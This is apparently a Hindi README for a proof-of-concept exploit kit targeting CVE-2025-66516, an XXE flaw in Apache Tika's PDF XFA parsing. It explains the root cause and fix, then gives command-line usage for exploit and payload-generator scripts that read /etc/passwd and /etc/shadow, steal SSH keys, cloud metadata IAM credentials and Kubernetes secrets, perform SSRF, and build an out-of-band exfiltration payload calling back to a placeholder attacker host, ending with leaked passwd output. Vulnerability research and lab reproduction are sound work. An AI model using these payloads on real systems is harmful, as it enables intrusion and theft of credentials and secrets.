
CVE-2025-66516 कार्यशील शोषण, स्कैनर, स्पष्टीकरण।
CVE-2025-66516 Apache Tika में एक क्रिटिकल XML एक्सटर्नल एंटिटी (XXE) इंजेक्शन भेद्यता है जिसका CVSS स्कोर 10.0 (अधिकतम गंभीरता) है। यह भेद्यता रिमोट हमलावरों को विशेष रूप से तैयार की गई PDF दस्तावेज़ अपलोड करके मनमानी फ़ाइलें पढ़ने, सर्वर-साइड रिक्वेस्ट फोर्जरी (SSRF) करने और संवेदनशील डेटा चुराने की अनुमति देती है जिसमें दुर्भावनापूर्ण XFA (XML Forms Architecture) सामग्री होती है।
| विशेषता | मान |
|---|---|
| CVE ID | CVE-2025-66516 |
| CVSS स्कोर | 10.0 (क्रिटिकल) |
| खुलासा | 4 दिसंबर, 2025 |
| विक्रेता | Apache सॉफ़्टवेयर फाउंडेशन |
| प्रभावित उत्पाद | Apache Tika |
| हमला वेक्टर | नेटवर्क (रिमोट) |
| प्रमाणीकरण | कोई आवश्यक नहीं |
| घटक | भेद्य संस्करण | स्थिर संस्करण |
|---|---|---|
| tika-core | 1.13 - 3.2.1 | 3.2.2+ |
| tika-parser-pdf-module | 2.0.0 - 3.2.1 | 3.2.2+ |
| tika-parsers | 1.13 - 1.28.5 | 2.0.0+ |
महत्वपूर्ण: यह CVE, CVE-2025-54988 को प्रतिस्थापित करता है, जिसने गलत तरीके से केवल PDF मॉड्यूल को भेद्य बताया था। वास्तविक भेद्यता tika-core में स्थित है।
यह एक XML एक्सटर्नल एंटिटी (XXE) इंजेक्शन दोष है जिसमें Apache Tika PDF दस्तावेज़ों में XFA (XML Forms Architecture) डेटा को संसाधित करता है।
समस्या: Tika XFA XML सामग्री को पढ़ने के लिए अंतर्निहित Java XML पार्सर (विशेष रूप से एक StAX पार्सर) पर निर्भर करता है। भेद्य संस्करण बाहरी एंटिटी रिज़ॉल्यूशन को अक्षम करने के लिए पार्सर को सही ढंग से कॉन्फ़िगर करने में विफल रहे। जब पार्सर एक बाहरी एंटिटी अनुरोध (जैसे SYSTEM "file:///etc/passwd") का सामना करता है, तो यह फ़ाइल सामग्री को हल करता है और वापस करता है।
स्थान: बग XMLReaderUtils.getXMLInputFactory() में tika-core में मौजूद है:
public static XMLInputFactory getXMLInputFactory() {
XMLInputFactory factory = XMLInputFactory.newFactory();
tryToSetStaxProperty(factory, XMLInputFactory.IS_NAMESPACE_AWARE, true);
tryToSetStaxProperty(factory, XMLInputFactory.IS_VALIDATING, false);
factory.setXMLResolver(IGNORING_STAX_ENTITY_RESOLVER); // <-- अप्रभावी
return factory;
}
IGNORING_STAX_ENTITY_RESOLVER को XXE को रोकने के लिए खाली परिणाम लौटाने के लिए डिज़ाइन किया गया था, लेकिन इसने अपेक्षित InputStream के बजाय एक String लौटाया। JDK के डिफ़ॉल्ट StAX पार्सर ने इस गलत रिटर्न प्रकार को चुपचाप अनदेखा कर दिया और डिफ़ॉल्ट व्यवहार पर वापस आ गया, जो बाहरी एंटिटी को हल करता है।
समाधान फ़ैक्टरी स्तर पर DTD और बाहरी एंटिटी समर्थन को स्पष्ट रूप से अक्षम करता है:
tryToSetStaxProperty(factory, XMLInputFactory.SUPPORT_DTD, false);
tryToSetStaxProperty(factory, XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
इसके अतिरिक्त, रिज़ॉल्वर को एक उचित InputStream प्रकार लौटाने के लिए बदल दिया गया।
Java इकोसिस्टम में, एकाधिक XML पार्सर लाइब्रेरी मौजूद हैं। एप्लिकेशन उस पार्सर का उपयोग करते हैं जो कॉन्फ़िगर किया गया है या क्लासपाथ पर सबसे पहले पाया जाता है।
Woodstox क्या है? Woodstox एक उच्च-प्रदर्शन, ओपन-सोर्स StAX XML पार्सर है जो आमतौर पर Java एप्लिकेशन के साथ बंडल किया जाता है।
यह सुरक्षा कैसे प्रदान करता है: डिज़ाइन द्वारा (दुर्घटना से नहीं), Woodstox का कार्यान्वयन XMLResolver रिटर्न प्रकार को सही ढंग से संभालता है। जब Woodstox को IGNORING_STAX_ENTITY_RESOLVER से स्ट्रिंग रिटर्न मान प्राप्त होता है, तो यह इसे मान्य खाली सामग्री के रूप में मानता है, प्रभावी रूप से XXE को अवरुद्ध करता है।
महत्वपूर्ण अंतर:
tika-server-standard.jar Woodstox को बंडल करता है - भेद्य नहींtika-core + पार्सर मॉड्यूल (एम्बेडेड उपयोग) Woodstox को बंडल नहीं करता - भेद्य# 1. प्रयोगशाला वातावरण प्रारंभ करें
docker-compose up -d --build
# 2. भेद्य Tika के विरुद्ध परीक्षण करें (JDK StAX, पोर्ट 9997)
python poc/exploit.py --url http://localhost:9997 --check
# 3. /etc/passwd निकालें
python poc/exploit.py --url http://localhost:9997 --file /etc/passwd
# 4. संरक्षित Tika से तुलना करें (Woodstox, पोर्ट 9998)
python poc/exploit.py --url http://localhost:9998 --check
CVE-2025-66516/
|-- docker-compose.yml # प्रयोगशाला ऑर्केस्ट्रेशन
|-- vulnerable-tika/
| |-- Dockerfile # Woodstox के साथ Tika (संरक्षित)
| +-- Dockerfile.jdk-stax # Woodstox के बिना Tika (भेद्य)
|-- webapp/
| |-- Dockerfile
| |-- app.py # Flask अपलोड एप्लिकेशन
| +-- templates/
|-- poc/
| |-- exploit.py # स्वचालित शोषण उपकरण
| +-- generate_payload.py # दुर्भावनापूर्ण PDF जनरेटर
+-- README.md
| सेवा | पोर्ट | विवरण |
|---|---|---|
| वेब एप्लिकेशन | 8080 | दस्तावेज़ अपलोड फ्रंटएंड |
| Tika (Woodstox) | 9998 | संरक्षित - भेद्य नहीं |
| Tika (JDK StAX) | 9997 | भेद्य - कोई Woodstox नहीं |
| हमलावर श्रोता | 9999 | OOB परीक्षण के लिए HTTP सर्वर |
docker-compose up -d --build
exploit.py)स्वचालित पेलोड जनरेशन और डेटा निष्कर्षण के साथ पूर्ण-श्रृंखला शोषण।
# जांचें कि लक्ष्य भेद्य है या नहीं
python poc/exploit.py --url http://target:9998 --check
# स्थानीय फ़ाइलें पढ़ें
python poc/exploit.py --url http://target:9998 --file /etc/passwd
python poc/exploit.py --url http://target:9998 --file /etc/shadow
# AWS मेटाडेटा चोरी (EC2 इंस्टेंसेज़)
python poc/exploit.py --url http://target:9998 --aws-metadata
# Kubernetes रहस्य
python poc/exploit.py --url http://target:9998 --k8s-secrets
# आंतरिक सेवाओं के लिए SSRF
python poc/exploit.py --url http://target:9998 --ssrf http://internal:8080/admin
# निकाले गए डेटा को सहेजें
python poc/exploit.py --url http://target:9998 --file /etc/passwd --save loot.txt
generate_payload.py)मैन्युअल परीक्षण या अन्य उपकरणों के साथ एकीकरण के लिए दुर्भावनापूर्ण PDF फ़ाइलें उत्पन्न करता है।
# विशिष्ट फ़ाइल के लिए पेलोड उत्पन्न करें
python poc/generate_payload.py --target /etc/passwd --output exploit.pdf
# SSRF पेलोड उत्पन्न करें
python poc/generate_payload.py --target http://169.254.169.254/latest/meta-data/ --output ssrf.pdf
# OOB एक्सफ़िल्ट्रेशन पेलोड उत्पन्न करें
python poc/generate_payload.py --target /etc/passwd --callback http://attacker:8080 --output oob.pdf
# हमला मोड प्रीसेट का उपयोग करें
python poc/generate_payload.py --mode aws_metadata --output aws.pdf
python poc/generate_payload.py --mode k8s_secrets --all-targets --output ./payloads/
# उपलब्ध हमला मोड सूचीबद्ध करें
python poc/generate_payload.py --list-modes
उपलब्ध हमला मोड:
file_read - स्थानीय फ़ाइलें पढ़ें (/etc/passwd, /etc/shadow, आदि)ssh_keys - SSH निजी कुंजियाँ चुराएँaws_metadata - AWS EC2 मेटाडेटा और IAM क्रेडेंशियल्सgcp_metadata - GCP सेवा खाता टोकनazure_metadata - Azure प्रबंधित पहचान टोकनk8s_secrets - Kubernetes सेवा खाता क्रेडेंशियल्सwebapp_configs - सामान्य वेब एप्लिकेशन कॉन्फ़िगरेशनssrf_internal - आंतरिक सेवाओं की जाँच करेंTika 2.9.2 के विरुद्ध Woodstox के बिना परीक्षण (एम्बेडेड तैनाती का अनुकरण):
| परीक्षण | परिणाम |
|---|---|
| XFA पहचान | [पास] PDF में XFA होने की पुष्टि हुई |
| XFA पार्सिंग | [पास] XFA सामग्री निकाली गई |
| XXE फ़ाइल पढ़ना | [भेद्य] /etc/passwd सामग्री एक्सफ़िल्ट्रेटेड |
| XXE SSRF | [भेद्य] बाहरी अनुरोध भेजे गए |
शोषण का प्रमाण:
<li fieldName="data">data: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...